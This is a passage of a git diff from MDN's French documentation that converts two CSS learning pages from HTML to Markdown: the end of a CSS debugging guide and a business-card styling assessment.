how should you go about solving it? The following steps should help. -<h3 id="Take_a_step_back_from_the_problem">Take a step back from the problem</h3> +### Take a step back from the problem -<p>Any coding problem can be frustrating, especially CSS problems because you often don't get an error message to search for online to help with finding a solution. If you are becoming frustrated, take a step away from the issue for a while — go for a walk, grab a drink, chat to a co-worker, or work on some other thing for a while. Sometimes the solution magically appears when you stop thinking about the problem, and even if not, working on it when feeling refreshed will be much easier.</p> +Any coding problem can be frustrating, especially CSS problems because you often don't get an error message to search for online to help with finding a solution. If you are becoming frustrated, take a step away from the issue for a while — go for a walk, grab a drink, chat to a co-worker, or work on some other thing for a while. Sometimes the solution magically appears when you stop thinking about the problem, and even if not, working on it when feeling refreshed will be much easier. -<h3 id="Do_you_have_valid_HTML_and_CSS">Do you have valid HTML and CSS?</h3> +### Do you have valid HTML and CSS? -<p>Browsers expect your CSS and HTML to be correctly written, however browsers are also very forgiving and will try their best to display your webpages even if you have errors in the markup or stylesheet. If you have mistakes in your code the browser needs to make a guess at what you meant, and it might make a different decision to what you had in mind. In addition, two different browsers might cope with the problem in two different ways. A good first step therefore is to run your HTML and CSS through a validator, to pick up and fix any errors.</p> +Browsers expect your CSS and HTML to be correctly written, however browsers are also very forgiving and will try their best to display your webpages even if you have errors in the markup or stylesheet. If you have mistakes in your code the browser needs to make a guess at what you meant, and it might make a different decision to what you had in mind. In addition, two different browsers might cope with the problem in two different ways. A good first step therefore is to run your HTML and CSS through a validator, to pick up and fix any errors. -<ul> - <li><a href="https://jigsaw.w3.org/css-validator/">CSS Validator</a></li> - <li><a href="https://validator.w3.org/">HTML validator</a></li> -</ul> +- [CSS Validator](https://jigsaw.w3.org/css-validator/) +- [HTML validator](https://validator.w3.org/) -<h3 id="Is_the_property_and_value_supported_by_the_browser_you_are_testing_in">Is the property and value supported by the browser you are testing in?</h3> +### Is the property and value supported by the browser you are testing in? -<p>Browsers simply ignore CSS they don't understand. If the property or value you are using is not supported by the browser you are testing in then nothing will break, but that CSS won't be applied. DevTools will generally highlight unsupported properties and values in some way. In the screenshot below the browser does not support the subgrid value of {{cssxref("grid-template-columns")}}.</p> +Browsers simply ignore CSS they don't understand. If the property or value you are using is not supported by the browser you are testing in then nothing will break, but that CSS won't be applied. DevTools will generally highlight unsupported properties and values in some way. In the screenshot below the browser does not support the subgrid value of {{cssxref("grid-template-columns")}}. -<p><img alt="Image of browser DevTools with the grid-template-columns: subgrid crossed out as the subgrid value is not supported." src="no-support.png"></p> + -<p>You can also take a look at the Browser compatibility tables at the bottom of each property page on MDN. These show you browser support for that property, often broken down if there is support for some usage of the property and not others. The below table shows the compat data for the {{cssxref("shape-outside")}} property.</p> +You can also take a look at the Browser compatibility tables at the bottom of each property page on MDN. These show you browser support for that property, often broken down if there is support for some usage of the property and not others. The below table shows the compat data for the {{cssxref("shape-outside")}} property. -<p>{{compat("css.shape-outside")}}</p> +{{compat("css.shape-outside")}} -<h3 id="Is_something_else_overriding_your_CSS">Is something else overriding your CSS?</h3> +### Is something else overriding your CSS? -<p>This is where the information you have learned about specificity will come in very useful. If you have something more specific overriding what you are trying to do, you can enter into a very frustrating game of trying to work out what. However, as described above, DevTools will show you what CSS is applying and you can work out how to make the new selector specific enough to override it.</p> +This is where the information you have learned about specificity will come in very useful. If you have something more specific overriding what you are trying to do, you can enter into a very frustrating game of trying to work out what. However, as described above, DevTools will show you what CSS is applying and you can work out how to make the new selector specific enough to override it. -<h3 id="Make_a_reduced_test_case_of_the_problem">Make a reduced test case of the problem</h3> +### Make a reduced test case of the problem -<p>If the issue isn't solved by the steps above, then you will need to do some more investigating. The best thing to do at this point is to create something known as a reduced test case. Being able to "reduce an issue" is a really useful skill. It will help you find problems in your own code and that of your colleagues, and will also enable you to report bugs and ask for help more effectively.</p> +If the issue isn't solved by the steps above, then you will need to do some more investigating. The best thing to do at this point is to create something known as a reduced test case. Being able to "reduce an issue" is a really useful skill. It will help you find problems in your own code and that of your colleagues, and will also enable you to report bugs and ask for help more effectively. -<p>A reduced test case is a code example that demonstrates the problem in the simplest possible way, with unrelated surrounding content and styling removed. This will often mean taking the problematic code out of your layout to make a small example which only shows that code or feature.</p> +A reduced test case is a code example that demonstrates the problem in the simplest possible way, with unrelated surrounding content and styling removed. This will often mean taking the problematic code out of your layout to make a small example which only shows that code or feature. -<p>To create a reduced test case:</p> +To create a reduced test case: -<ol> - <li>If your markup is dynamically generated — for example via a CMS — make a static version of the output that shows the problem. A code sharing site like <a href="https://codepen.io/">CodePen</a> is useful for hosting reduced test cases, as then they are accessible online and you can easily share them with colleagues. You could start by doing View Source on the page and copying the HTML into CodePen, then grab any relevant CSS and JavaScript and include it too. After that, you can check whether the issue is still evident.</li> - <li>If removing the JavaScript does not make the issue go away, don't include the JavaScript. If removing the JavaScript <em>does</em> make the issue go away, then remove as much JavaScript as you can, leaving in whatever causes the issue.</li> - <li>Remove any HTML that does not contribute to the issue. Remove components or even main elements of the layout. Again, try to get down to the smallest amount of code that still shows the issue.</li> - <li>Remove any CSS that doesn't impact the issue.</li> -</ol> +1. If your markup is dynamically generated — for example via a CMS — make a static version of the output that shows the problem. A code sharing site like [CodePen](https://codepen.io/) is useful for hosting reduced test cases, as then they are accessible online and you can easily share them with colleagues. You could start by doing View Source on the page and copying the HTML into CodePen, then grab any relevant CSS and JavaScript and include it too. After that, you can check whether the issue is still evident. +2. If removing the JavaScript does not make the issue go away, don't include the JavaScript. If removing the JavaScript _does_ make the issue go away, then remove as much JavaScript as you can, leaving in whatever causes the issue. +3. Remove any HTML that does not contribute to the issue. Remove components or even main elements of the layout. Again, try to get down to the smallest amount of code that still shows the issue. +4. Remove any CSS that doesn't impact the issue. -<p>In the process of doing this, you may discover what is causing the problem, or at least be able to turn it on and off by removing something specific. It is worth adding some comments to your code as you discover things. If you need to ask for help, they will show the person helping you what you have already tried. This may well give you enough information to be able to search for likely sounding problems and workarounds.</p> +In the process of doing this, you may discover what is causing the problem, or at least be able to turn it on and off by removing something specific. It is worth adding some comments to your code as you discover things. If you need to ask for help, they will show the person helping you what you have already tried. This may well give you enough information to be able to search for likely sounding problems and workarounds. -<p>If you are still struggling to fix the problem then having a reduced test case gives you something to ask for help with, by posting to a forum, or showing to a co-worker. You are much more likely to get help if you can show that you have done the work of reducing the problem and identifying exactly where it happens, before asking for help. A more experienced developer might be able to quickly spot the problem and point you in the right direction, and even if not, your reduced test case will enable them to have a quick look and hopefully be able to offer at least some help.</p> +If you are still struggling to fix the problem then having a reduced test case gives you something to ask for help with, by posting to a forum, or showing to a co-worker. You are much more likely to get help if you can show that you have done the work of reducing the problem and identifying exactly where it happens, before asking for help. A more experienced developer might be able to quickly spot the problem and point you in the right direction, and even if not, your reduced test case will enable them to have a quick look and hopefully be able to offer at least some help. -<p>In the instance that your problem is actually a bug in a browser, then a reduced test case can also be used to file a bug report with the relevant browser vendor (e.g. on Mozilla's <a href="https://bugzilla.mozilla.org">bugzilla site</a>).</p> +In the instance that your problem is actually a bug in a browser, then a reduced test case can also be used to file a bug report with the relevant browser vendor (e.g. on Mozilla's [bugzilla site](https://bugzilla.mozilla.org)). -<p>As you become more experienced with CSS, you will find that you get faster at figuring out issues. However even the most experienced of us sometimes find ourselves wondering what on earth is going on. Taking a methodical approach, making a reduced test case, and explaining the issue to someone else will usually result in a fix being found.</p> +As you become more experienced with CSS, you will find that you get faster at figuring out issues. However even the most experienced of us sometimes find ourselves wondering what on earth is going on. Taking a methodical approach, making a reduced test case, and explaining the issue to someone else will usually result in a fix being found. -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}</p> +{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}} -<h2 id="In_this_module">In this module</h2> +## In this module -<ol> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascade and inheritance</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors">CSS selectors</a> - <ul> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Type, class, and ID selectors</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Attribute selectors</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes and pseudo-elements</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Combinators</a></li> - </ul> - </li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/The_box_model">The box model</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Backgrounds and borders</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Handling different text directions</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Overflowing_content">Overflowing content</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Values_and_units">Values and units</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Sizing items in CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Images, media, and form elements</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Styling_tables">Styling tables</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS">Debugging CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Organizing">Organizing your CSS</a></li> -</ol> +1. [Cascade and inheritance](/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) +2. [CSS selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors) + + - [Type, class, and ID selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors) + - [Attribute selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors) + - [Pseudo-classes and pseudo-elements](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements) + - [Combinators](/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators) + +3. [The box model](/fr/docs/Learn/CSS/Building_blocks/The_box_model) +4. [Backgrounds and borders](/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders) +5. [Handling different text directions](/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions) +6. [Overflowing content](/fr/docs/Learn/CSS/Building_blocks/Overflowing_content) +7. [Values and units](/fr/docs/Learn/CSS/Building_blocks/Values_and_units) +8. [Sizing items in CSS](/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS) +9. [Images, media, and form elements](/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements) +10. [Styling tables](/fr/docs/Learn/CSS/Building_blocks/Styling_tables) +11. [Debugging CSS](/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS) +12. [Organizing your CSS](/fr/docs/Learn/CSS/Building_blocks/Organizing) diff --git a/files/fr/learn/css/building_blocks/fundamental_css_comprehension/index.md b/files/fr/learn/css/building_blocks/fundamental_css_comprehension/index.md index 114467a4f8..a0a87e37ce 100644 --- a/files/fr/learn/css/building_blocks/fundamental_css_comprehension/index.md +++ b/files/fr/learn/css/building_blocks/fundamental_css_comprehension/index.md @@ -15,124 +15,109 @@ tags: translation_of: Learn/CSS/Building_blocks/Fundamental_CSS_comprehension original_slug: Apprendre/CSS/Introduction_à_CSS/Fundamental_CSS_comprehension --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Apprendre/CSS/Introduction_à_CSS")}} -<div>{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Apprendre/CSS/Introduction_à_CSS")}}</div> - -<p>Beaucoup de choses ont été passées en revue dans ce module, donc il est bon d'avoir atteint la fin ! La dernière étape avant de passer à la suite est de tenter une évaluation sur les thèmes de ce module — elle comprend un certain nombre d'exercices connexes à compléter pour créer la composition finale — une carte de visite / carte de joueur / un profil de média social.</p> +Beaucoup de choses ont été passées en revue dans ce module, donc il est bon d'avoir atteint la fin ! La dernière étape avant de passer à la suite est de tenter une évaluation sur les thèmes de ce module — elle comprend un certain nombre d'exercices connexes à compléter pour créer la composition finale — une carte de visite / carte de joueur / un profil de média social. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Avant de vous lancer dans cet exercice vous devez avoir déja travaillé l'ensemble des articles de ce module.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Tester votre compréhension des fondements de la théorie, de la syntaxe et des mécanismes des CSS.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Avant de vous lancer dans cet exercice vous devez avoir déja travaillé + l'ensemble des articles de ce module. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Tester votre compréhension des fondements de la théorie, de la syntaxe + et des mécanismes des CSS. + </td> + </tr> + </tbody> </table> -<h2 id="Point_de_départ">Point de départ</h2> +## Point de départ + +Pour demarrer cet exercice, vous devez : + +- Récupérer et enregistrer le [fichier HTML de l'exercice](https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/index.html) ainsi que le [fichier image associé](https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/chris.jpg) dans un nouveau répertoire local sur votre ordinateur. Si vous voulez utiliser un fichier image de votre cru et mettre votre nom, vous êtes libre — assurez vous simplement que l'image soit de forme carrée. +- Enregistrez le [fichier texte des ressources de la CSS](https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/style-resources.txt) — il contient un jeu de sélecteurs et de règles bruts que vous devrez étudier et combiner pour répondre à certaines parties de cet exercice. + +> **Note :** À défaut, vous pouvez utiliser un site comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/) pour faire votre exercice. Collez le HTML et complétez la CSS dans un de ces éditeurs en ligne. Utilisez cet [URL](http://mdn.github.io/learning-area/css/introduction-to-css/fundamental-css-comprehension/chris.jpg) pour faire pointer l'élément `<img>` sur le fichier correspondant. Si l'éditeur en ligne que vous utilisez ne comporte pas de panneau séparé pour la CSS, mettez‑le dans un élément `<style>` dans l'élément `head` du document. + +## Énoncé du projet -<p>Pour demarrer cet exercice, vous devez :</p> +Avec le HTML brut et une image, vous devez écrire le CSS voulu pour composer une jolie petite carte de visite en ligne ; elle pourrait aussi peut‑être servir de carte de joueur ou de profil de média social. Les paragraphes suivants indiquent ce que vous devez faire. -<ul> - <li>Récupérer et enregistrer le <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/index.html">fichier HTML de l'exercice</a> ainsi que le <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/chris.jpg">fichier image associé</a> dans un nouveau répertoire local sur votre ordinateur. Si vous voulez utiliser un fichier image de votre cru et mettre votre nom, vous êtes libre — assurez vous simplement que l'image soit de forme carrée.</li> - <li>Enregistrez le <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/style-resources.txt">fichier texte des ressources de la CSS</a> — il contient un jeu de sélecteurs et de règles bruts que vous devrez étudier et combiner pour répondre à certaines parties de cet exercice.</li> -</ul> +Construction de base : -<div class="note"> -<p><strong>Note :</strong> À défaut, vous pouvez utiliser un site comme <a class="external external-icon" href="http://jsbin.com/">JSBin</a> ou <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> pour faire votre exercice. Collez le HTML et complétez la CSS dans un de ces éditeurs en ligne. Utilisez cet <a href="http://mdn.github.io/learning-area/css/introduction-to-css/fundamental-css-comprehension/chris.jpg">URL</a> pour faire pointer l'élément <code><img></code> sur le fichier correspondant. Si l'éditeur en ligne que vous utilisez ne comporte pas de panneau séparé pour la CSS, mettez‑le dans un élément <code><style></code> dans l'élément <code>head</code> du document.</p> -</div> +- Au préalable, créez un nouveau fichier dans le même répertoire que celui des fichiers HTML et image. Nommez‑le avec beaucoup d'imagination quelque chose comme `style.css`. +- Liez la CSS à votre fichier HTML par l'intermédiaire d'un élément `<link>`. +- Les deux premières règles du fichier de ressources de la CSS sont pour vous, GRATUITEMENT ! Après vous être réjoui de votre chance, copiez et collez-les au haut de votre nouveau fichier CSS. Utilisez-les comme un test pour vous assurer que la CSS sera correctement appliquée à votre HTML. +- Au-dessus des deux règles, commentez la CSS d'un court texte pour indiquer qu'il s'agit de styles généraux pour l'ensemble de la page. « Styles généraux pour la page » fait l'affaire. Ajoutez également trois autres commentaires au bas du fichier CSS pour indiquer les styles spécifiques à la configuration du conteneur de carte, les styles propres de l'en-tête et du pied de page et les styles dédiés au contenu principal de la carte de visite. A partir de maintenant, les styles ajoutés à la CSS devront être placés à l'endroit approprié. -<h2 id="Énoncé_du_projet">Énoncé du projet</h2> +Considérations sur les sélecteurs et les jeux de règles founis dans le fichier des ressources CSS : -<p>Avec le HTML brut et une image, vous devez écrire le CSS voulu pour composer une jolie petite carte de visite en ligne ; elle pourrait aussi peut‑être servir de carte de joueur ou de profil de média social. Les paragraphes suivants indiquent ce que vous devez faire.</p> +- Ensuite, regardez les quatre sélecteurs et calculez la spécificité de chacun. Notez-les quelque part où vous pourrez les retrouver plus tard, par exemple dans un commentaire en haut de votre CSS. +- Maintenant, mettez le bon sélecteur avec le bon jeu de règles ! Vous avez quatre paires sélecteurs régles qui correspondent dans les ressources CSS. Faites cela maintenant et ajoutez‑les dans le fichier de la CSS. Il faut que : -<p>Construction de base :</p> + - entre autres choses, le conteneur de carte principale ait une largeur et une hauteur fixes, une couleur de fond unie, un encadrement et un rayon d'encadrement (des coins arrondis !). + - l'en‑tête ait un gradient d'arrière‑plan allant du plus soutenu au plus léger, plus des coins arrondis correspondant à ceux du conteneur de la carte principale. + - le pied ait un gradient d'arrière‑plan allant du plus léger au plus soutenu, plus des coins arrondis correspondant à ceux du conteneur de la carte principale. + - l'image soit placée sur la droite de façon à toucher le côté droit du contenu de la carte de visite en lui donnant une hauteur maximale de 100% (une astuce assurant qu'elle aura toujours la même hauteur que son conteneur parent, quelle que soit la hauteur qu'on lui donne). -<ul> - <li>Au préalable, créez un nouveau fichier dans le même répertoire que celui des fichiers HTML et image. Nommez‑le avec beaucoup d'imagination quelque chose comme <code>style.css</code>.</li> - <li>Liez la CSS à votre fichier HTML par l'intermédiaire d'un élément <code><link></code>.</li> - <li>Les deux premières règles du fichier de ressources de la CSS sont pour vous, GRATUITEMENT ! Après vous être réjoui de votre chance, copiez et collez-les au haut de votre nouveau fichier CSS. Utilisez-les comme un test pour vous assurer que la CSS sera correctement appliquée à votre HTML.</li> - <li>Au-dessus des deux règles, commentez la CSS d'un court texte pour indiquer qu'il s'agit de styles généraux pour l'ensemble de la page. « Styles généraux pour la page » fait l'affaire. Ajoutez également trois autres commentaires au bas du fichier CSS pour indiquer les styles spécifiques à la configuration du conteneur de carte, les styles propres de l'en-tête et du pied de page et les styles dédiés au contenu principal de la carte de visite. A partir de maintenant, les styles ajoutés à la CSS devront être placés à l'endroit approprié.</li> -</ul> +- Attention ! Il y a deux erreurs dans les règles fournies. En utilisant n'importe quelle technique connue, repérez-les et corrigez-les avant de poursuivre. -<p>Considérations sur les sélecteurs et les jeux de règles founis dans le fichier des ressources CSS :</p> +Nouveaux jeux de règles à écrire : -<ul> - <li>Ensuite, regardez les quatre sélecteurs et calculez la spécificité de chacun. Notez-les quelque part où vous pourrez les retrouver plus tard, par exemple dans un commentaire en haut de votre CSS.</li> - <li>Maintenant, mettez le bon sélecteur avec le bon jeu de règles ! Vous avez quatre paires sélecteurs régles qui correspondent dans les ressources CSS. Faites cela maintenant et ajoutez‑les dans le fichier de la CSS. Il faut que : - <ul> - <li>entre autres choses, le conteneur de carte principale ait une largeur et une hauteur fixes, une couleur de fond unie, un encadrement et un rayon d'encadrement (des coins arrondis !).</li> - <li>l'en‑tête ait un gradient d'arrière‑plan allant du plus soutenu au plus léger, plus des coins arrondis correspondant à ceux du conteneur de la carte principale.</li> - <li>le pied ait un gradient d'arrière‑plan allant du plus léger au plus soutenu, plus des coins arrondis correspondant à ceux du conteneur de la carte principale.</li> - <li>l'image soit placée sur la droite de façon à toucher le côté droit du contenu de la carte de visite en lui donnant une hauteur maximale de 100% (une astuce assurant qu'elle aura toujours la même hauteur que son conteneur parent, quelle que soit la hauteur qu'on lui donne).</li> - </ul> - </li> - <li>Attention ! Il y a deux erreurs dans les règles fournies. En utilisant n'importe quelle technique connue, repérez-les et corrigez-les avant de poursuivre.</li> -</ul> +- Écrire un jeu de règles ciblant à la fois l'en-tête et le pied de page de la carte pour leur donner une hauteur totale calculée de 50px ( y compris une hauteur de contenu de 30px et un remplissage de 10px sur tous les côtés). Mais exprimez‑le en `em`. +- La marge par défaut appliquée aux éléments \<h2> et \<p> par le navigateur interfère avec la composition, alors écrivez une règle ciblant tous ces éléments et fixant leur marge à 0. +- Pour éviter que l'image ne déborde du contenu principal de la carte de visite (l'élément `<article>`), nous devons lui donner une hauteur spécifique. Réglez la hauteur de `<article>` à 120px, mais exprimez‑la en `em`. Donnez-lui aussi une couleur de fond de noir semi-transparent, ce qui donne une nuance légèrement plus foncée qui permet à la couleur rouge de l'arrière-plan de briller un peu aussi. +- Écrivez un jeu de règles qui donne à `<h2>` une taille de police effective de 20px (mais exprimée en `em`) et une hauteur de ligne appropriée pour la placer au centre de la boîte de contenu de l'en-tête. Rappelez-vous que la hauteur de la boîte de contenu doit être de 30px — vous avez là toutes les données dont vous avez besoin pour calculer la hauteur de ligne. +- Écrivez un jeu de règles qui donne à `<p>` dans le pied de page une taille de police effective de 15px (mais exprimée en `em`) et une hauteur de ligne appropriée pour la placer au centre de la boîte de contenu du pied de page. Rappelez-vous que la hauteur de la boîte de contenu doit être de 30px — vous avez là toutes les données dont vous avez besoin pour calculer la hauteur de ligne. +- Comme dernière petite touche, donnez au paragraphe à l'intérieur de `<article>` une valeur de remplissage appropriée pour que son bord gauche soit aligné avec le paragraphe `<h2>` et le paragraphe de pied de page ; réglez sa couleur pour qu'elle soit assez claire afin d'être facile à lire. -<p>Nouveaux jeux de règles à écrire :</p> +> **Note :** Gardez présent à l'esprit que le 2e jeu de règles définit `font-size: 10px;` pour l'élément `<html>` — cela signifie que pour tous les enfants de `<html>`, un `em` vaudra 10px et non 16px comme c'est le cas par défaut (ceci bien sûr, à condition que les enfants en question n'aient pas de parents ayant un `font-size` différent placés entre eux et `<html>` dans la hiérarchie. Les valeurs dont vous avez besoin pourraient en être affectées, bien que dans cet exemple simple, ce ne soit pas un problème). -<ul> - <li>Écrire un jeu de règles ciblant à la fois l'en-tête et le pied de page de la carte pour leur donner une hauteur totale calculée de 50px ( y compris une hauteur de contenu de 30px et un remplissage de 10px sur tous les côtés). Mais exprimez‑le en <code>em</code>.</li> - <li>La marge par défaut appliquée aux éléments <h2> et <p> par le navigateur interfère avec la composition, alors écrivez une règle ciblant tous ces éléments et fixant leur marge à 0.</li> - <li>Pour éviter que l'image ne déborde du contenu principal de la carte de visite (l'élément <code><article></code>), nous devons lui donner une hauteur spécifique. Réglez la hauteur de <code><article></code> à 120px, mais exprimez‑la en <code>em</code>. Donnez-lui aussi une couleur de fond de noir semi-transparent, ce qui donne une nuance légèrement plus foncée qui permet à la couleur rouge de l'arrière-plan de briller un peu aussi.</li> - <li>Écrivez un jeu de règles qui donne à <code><h2></code> une taille de police effective de 20px (mais exprimée en <code>em</code>) et une hauteur de ligne appropriée pour la placer au centre de la boîte de contenu de l'en-tête. Rappelez-vous que la hauteur de la boîte de contenu doit être de 30px — vous avez là toutes les données dont vous avez besoin pour calculer la hauteur de ligne.</li> - <li>Écrivez un jeu de règles qui donne à <code><p></code> dans le pied de page une taille de police effective de 15px (mais exprimée en <code>em</code>) et une hauteur de ligne appropriée pour la placer au centre de la boîte de contenu du pied de page. Rappelez-vous que la hauteur de la boîte de contenu doit être de 30px — vous avez là toutes les données dont vous avez besoin pour calculer la hauteur de ligne.</li> - <li>Comme dernière petite touche, donnez au paragraphe à l'intérieur de <code><article></code> une valeur de remplissage appropriée pour que son bord gauche soit aligné avec le paragraphe <code><h2></code> et le paragraphe de pied de page ; réglez sa couleur pour qu'elle soit assez claire afin d'être facile à lire.</li> -</ul> +Autres choses à prendre en considération : -<div class="note"> -<p><strong>Note :</strong> Gardez présent à l'esprit que le 2e jeu de règles définit <code>font-size: 10px;</code> pour l'élément <code><html></code> — cela signifie que pour tous les enfants de <code><html></code>, un <code>em</code> vaudra 10px et non 16px comme c'est le cas par défaut (ceci bien sûr, à condition que les enfants en question n'aient pas de parents ayant un <code>font-size</code> différent placés entre eux et <code><html></code> dans la hiérarchie. Les valeurs dont vous avez besoin pourraient en être affectées, bien que dans cet exemple simple, ce ne soit pas un problème).</p> -</div> +- Vous aurez des points de bonus si vous écrivez la CSS avec une déclaration séparée sur chaque ligne pour une lisibilité maximale. +- Vous devriez mettre `.card` en début de chaîne de sélecteur dans toutes les règles pour qu'elles n'interfèrent pas avec le style d'autres éléments si la carte de visite doit être placée sur une page chargeant d'autres contenus. -<p>Autres choses à prendre en considération :</p> +## Conseils et astuces -<ul> - <li>Vous aurez des points de bonus si vous écrivez la CSS avec une déclaration séparée sur chaque ligne pour une lisibilité maximale.</li> - <li>Vous devriez mettre <code>.card</code> en début de chaîne de sélecteur dans toutes les règles pour qu'elles n'interfèrent pas avec le style d'autres éléments si la carte de visite doit être placée sur une page chargeant d'autres contenus.</li> -</ul> +- Il n'est pas nécessaire de modifier le HTML en quoi que ce soit, sauf pour lui appliquer la CSS. +- Quand vous calculez le nombre de pixels correspondant à la valeur `em` dont vous avez besoin, pensez à la taille de police de base de l'élément racine (`<html>`), et ce par quoi il doit être multiplié pour obtenir la valeur désirée. Cela vous donnera la valeur de `em`, au moins dans un cas simple comme celui-ci. -<h2 id="Conseils_et_astuces">Conseils et astuces</h2> +## Exemple -<ul> - <li>Il n'est pas nécessaire de modifier le HTML en quoi que ce soit, sauf pour lui appliquer la CSS.</li> - <li>Quand vous calculez le nombre de pixels correspondant à la valeur <code>em</code> dont vous avez besoin, pensez à la taille de police de base de l'élément racine (<code><html></code>), et ce par quoi il doit être multiplié pour obtenir la valeur désirée. Cela vous donnera la valeur de <code>em</code>, au moins dans un cas simple comme celui-ci.</li> -</ul> +La capture d'écran suivante montre un exemple de ce à quoi devrait ressembler la composition terminée : -<h2 id="Exemple">Exemple</h2> + -<p>La capture d'écran suivante montre un exemple de ce à quoi devrait ressembler la composition terminée :</p> -<p><img alt="A view of the finished business card, show a reader header and footer, and a darker center panel containing the main details and image." src="business-card.png"></p> -<p> </p> +## Évaluation -<h2 id="Évaluation">Évaluation</h2> +Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur [le fil de discussion à propos de cet exercise](https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682) ou par l'intermédiaire du canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Faites l'exercice d'abors, il n'y rien à gagner en trichant ! -<p>Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur <a href="https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682">le fil de discussion à propos de cet exercise</a> ou par l'intermédiaire du canal IRC <a href="irc://irc.mozilla.org/mdn">#mdn</a> sur <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Faites l'exercice d'abors, il n'y rien à gagner en trichant !</p> +{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Apprendre/CSS/Introduction_à_CSS")}} -<p>{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Apprendre/CSS/Introduction_à_CSS")}}</p> -<p> </p> -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/Apprendre/CSS/Introduction_à_CSS/Le_fonctionnement_de_CSS">Comment fonctionnent les CSS</a></li> - <li><a href="/fr/Apprendre/CSS/Introduction_à_CSS/La_syntaxe">Syntaxe CSS</a></li> - <li><a href="/fr/Apprendre/CSS/Introduction_à_CSS/Les_sélecteurs">Sélecteurs</a></li> - <li><a href="/fr/docs/Learn/CSS/Introduction_to_CSS/Selectors/Simple_selectors">Sélecteurs simples</a></li> - <li><a href="/fr/docs/Learn/CSS/Introduction_to_CSS/Selectors/Attribute_selectors">Sélecteurs d'attribut</a></li> - <li><a href="/fr/docs/Learn/CSS/Introduction_to_CSS/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes et pseudo-éléments</a></li> - <li><a href="/fr/docs/Learn/CSS/Introduction_to_CSS/Selectors/Combinators_and_multiple_selectors">Combinaisons et sélecteurs multiples</a></li> - <li><a href="/fr/Apprendre/CSS/Introduction_à_CSS/Values_and_units">Unités et valeurs pour les CSS</a></li> - <li><a href="/fr/Apprendre/CSS/Introduction_à_CSS/La_cascade_et_l_héritage">Cascade et héritage</a></li> - <li><a href="/fr/Apprendre/CSS/Introduction_à_CSS/Le_modèle_de_boîte">Le modèle de boîte</a></li> - <li><a href="/fr/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS">Débogage des CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension">Compréhension des fondements des CSS</a></li> -</ul> +- [Comment fonctionnent les 